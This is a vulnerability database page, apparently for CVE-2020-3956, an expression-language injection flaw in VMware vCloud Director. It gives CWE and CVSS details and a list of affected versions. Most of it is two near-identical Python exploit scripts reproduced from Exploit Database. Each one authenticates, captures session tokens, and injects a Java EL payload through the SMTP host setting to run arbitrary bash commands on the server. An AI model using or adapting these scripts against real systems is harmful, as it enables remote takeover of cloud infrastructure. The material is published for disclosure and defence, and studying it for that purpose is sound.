Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-917 |
Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48549
Publication date : 2020-06-03 22h00 +00:00
Author : Tomas Melicher
EDB Verified : No
# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description:
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.
#!/usr/bin/python
import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
from urllib.parse import urlparse
else:
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()
def login(url, username, password, verbose):
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
res = session.get(target_url)
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
if match:
tenant = match.group(1)
else:
print('[!] can\'t find tenant identifier')
return
if verbose:
print('[*] tenant: %s'%(tenant))
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
if match: # Cloud Director 9.*
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
res = session.post(login_url, data={'username':username,'password':password})
if res.status_code == 401:
print('[!] invalid credentials')
return
else: # Cloud Director 10.*
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
if match:
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
headers = {
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
'Accept': 'application/json;version=29.0',
'Content-type': 'application/json;version=29.0'
}
res = session.post(login_url, headers=headers)
if res.status_code == 401:
print('[!] invalid credentials')
return
else:
print('[!] url for login form was not found')
return
cookies = session.cookies.get_dict()
jwt = cookies['vcloud_jwt']
session_id = cookies['vcloud_session_id']
if verbose:
print('[*] jwt token: %s'%(jwt))
print('[*] session_id: %s'%(session_id))
res = session.get(target_url)
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
if match is None:
print('[!] organization not found')
return
organization = match.group(1)
if verbose:
print('[*] organization name: %s'%(organization))
match = re.search(r'orgId : \'([^\']+)', res.content)
if match is None:
print('[!] orgId not found')
return
org_id = match.group(1)
if verbose:
print('[*] organization identifier: %s'%(org_id))
return (jwt,session_id,organization,org_id)
def exploit(url, username, password, command, verbose):
(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
headers = {
'Accept': 'application/*+xml;version=29.0',
'Authorization': 'Bearer %s'%jwt,
'x-vcloud-authorization': session_id
}
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
res = session.get(admin_url, headers=headers)
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
if match:
version = match.group(1)
if verbose:
print('[*] detected version of Cloud Director: %s'%(version))
else:
version = None
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
res = session.put(email_settings_url, data=data, headers=headers)
match = re.search(r'value:\s*\[([^\]]+)\]', res.content)
if verbose:
print('')
try:
print(base64.b64decode(match.group(1)))
except Exception:
print(res.content)
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()
url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
Exploit Database EDB-ID : 48540
Publication date : 2020-06-01 22h00 +00:00
Author : aaronsvk
EDB Verified : No
#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description:
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.
import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
from urllib.parse import urlparse
else:
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()
def login(url, username, password, verbose):
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
res = session.get(target_url)
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
if match:
tenant = match.group(1)
else:
print('[!] can\'t find tenant identifier')
return (None,None,None,None)
if verbose:
print('[*] tenant: %s'%(tenant))
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
if match: # Cloud Director 9.*
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
res = session.post(login_url, data={'username':username,'password':password})
if res.status_code == 401:
print('[!] invalid credentials')
return (None,None,None,None)
else: # Cloud Director 10.*
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
if match:
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
headers = {
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
'Accept': 'application/json;version=29.0',
'Content-type': 'application/json;version=29.0'
}
res = session.post(login_url, headers=headers)
if res.status_code == 401:
print('[!] invalid credentials')
return (None,None,None,None)
else:
print('[!] url for login form was not found')
return (None,None,None,None)
cookies = session.cookies.get_dict()
jwt = cookies['vcloud_jwt']
session_id = cookies['vcloud_session_id']
if verbose:
print('[*] jwt token: %s'%(jwt))
print('[*] session_id: %s'%(session_id))
res = session.get(target_url)
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
if match is None:
print('[!] organization not found')
return (None,None,None,None)
organization = match.group(1)
if verbose:
print('[*] organization name: %s'%(organization))
match = re.search(r'orgId : \'([^\']+)', res.content)
if match is None:
print('[!] orgId not found')
return (None,None,None,None)
org_id = match.group(1)
if verbose:
print('[*] organization identifier: %s'%(org_id))
return (jwt,session_id,organization,org_id)
def exploit(url, username, password, command, verbose):
(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
if jwt is None:
return
headers = {
'Accept': 'application/*+xml;version=29.0',
'Authorization': 'Bearer %s'%jwt,
'x-vcloud-authorization': session_id
}
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
res = session.get(admin_url, headers=headers)
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
if match:
version = match.group(1)
if verbose:
print('[*] detected version of Cloud Director: %s'%(version))
else:
version = None
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
res = session.put(email_settings_url, data=data, headers=headers)
match = re.search(r'value:\s*\[([^\]]+)\]', res.content)
if verbose:
print('')
try:
print(base64.b64decode(match.group(1)))
except Exception:
print(res.content)
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()
url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
Products Mentioned
Configuraton 0
Vmware>>Vcloud_director >> Version From (including) 9.5.0.0 To (excluding) 9.5.0.6
Vmware>>Vcloud_director >> Version From (including) 9.7.0.0 To (excluding) 9.7.0.5
Vmware>>Vcloud_director >> Version From (including) 10.0.0.0 To (excluding) 10.0.0.2
Linux>>Linux_kernel >> Version -
Vmware>>Photon_os >> Version -
Configuraton 0
Vmware>>Vcloud_director >> Version From (including) 9.1.0.0 To (excluding) 9.1.0.4
Linux>>Linux_kernel >> Version -
References
